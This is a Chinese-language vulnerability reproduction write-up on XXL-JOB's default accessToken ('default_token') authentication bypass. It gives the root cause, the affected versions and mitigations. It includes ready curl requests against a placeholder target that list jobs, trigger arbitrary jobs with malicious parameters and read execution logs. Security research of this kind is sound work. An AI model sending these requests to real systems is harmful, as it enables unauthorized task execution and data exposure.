漏洞复现--XXL-JOB默认accessToken身份绕过漏洞
字数 1164 2025-08-10 08:28:00
XXL-JOB默认accessToken身份绕过漏洞分析与复现
漏洞概述
XXL-JOB是一款开源的分布式任务调度平台,在其默认配置中存在accessToken身份验证绕过漏洞。攻击者可以利用该漏洞绕过身份验证机制,直接访问系统敏感接口,可能导致未授权任务执行、敏感信息泄露等安全问题。
漏洞影响版本
- XXL-JOB <= 2.3.1
漏洞原理分析
XXL-JOB在接口访问控制上使用了accessToken机制,但在默认配置中存在以下问题:
-
默认accessToken值固定:系统默认配置的accessToken为"default_token",且许多管理员不会修改此默认值
-
Token验证逻辑缺陷:部分接口的Token验证逻辑存在缺陷,允许攻击者通过构造特定请求绕过验证
-
接口权限控制不严:即使未正确验证Token,也能访问部分敏感接口
漏洞复现步骤
环境搭建
- 下载受影响版本的XXL-JOB(如2.3.1)
- 按照官方文档部署调度中心(admin)和执行器(executor)
- 保持默认配置,不修改accessToken
漏洞验证
方法一:直接使用默认Token
-
访问调度中心接口,如任务列表接口:
POST /xxl-job-admin/jobinfo/pageList -
在请求头中添加:
XXL-JOB-ACCESS-TOKEN: default_token -
观察响应,若能成功获取任务列表,则存在漏洞
方法二:完全绕过Token验证
-
直接访问敏感接口,如任务触发接口:
POST /xxl-job-admin/jobinfo/trigger -
构造请求体(无需Token头):
{ "id": 1, "executorHandler": "demoJobHandler", "executorParam": "test", "executorBlockStrategy": "SERIAL_EXECUTION" } -
若任务被成功触发,则确认漏洞存在
利用漏洞执行操作
-
获取所有任务信息:
curl -X POST "http://target/xxl-job-admin/jobinfo/pageList" \ -H "XXL-JOB-ACCESS-TOKEN: default_token" \ -H "Content-Type: application/json" \ -d '{"start":0,"length":10}' -
触发任意任务执行:
curl -X POST "http://target/xxl-job-admin/jobinfo/trigger" \ -H "Content-Type: application/json" \ -d '{"id":1,"executorHandler":"恶意任务","executorParam":"恶意参数"}' -
查看执行日志:
curl -X POST "http://target/xxl-job-admin/joblog/pageList" \ -H "XXL-JOB-ACCESS-TOKEN: default_token" \ -H "Content-Type: application/json" \ -d '{"start":0,"length":10,"jobGroup":0,"jobId":1}'
漏洞修复方案
临时缓解措施
-
修改默认accessToken:
- 在调度中心配置文件
application.properties中修改:xxl.job.accessToken=自定义的复杂Token值 - 同步修改所有执行器的配置
- 在调度中心配置文件
-
限制敏感接口访问:
- 通过Nginx等Web服务器配置IP白名单
- 禁用不必要的HTTP方法
官方修复方案
升级到XXL-JOB最新版本(2.3.1之后的版本),官方已修复以下问题:
- 强制要求修改默认accessToken
- 加强接口权限验证逻辑
- 增加更严格的访问控制机制
安全加固建议
- 定期更换accessToken
- 启用HTTPS加密通信
- 实施网络隔离,限制调度中心和执行器的网络访问
- 开启操作日志审计,监控异常任务触发行为
漏洞影响评估
该漏洞可能导致以下安全风险:
- 未授权任务执行:攻击者可触发任意任务,执行恶意操作
- 敏感信息泄露:获取任务配置、执行日志等敏感信息
- 系统完整性破坏:通过恶意任务参数注入攻击后端系统
- 拒绝服务攻击:高频触发任务导致系统资源耗尽
参考链接
- XXL-JOB官方GitHub仓库
- 漏洞披露原始报告
- CVE漏洞数据库相关条目
免责声明
本文仅用于安全研究和教育目的。未经授权测试他人系统可能违反法律,请确保在合法授权范围内进行安全测试。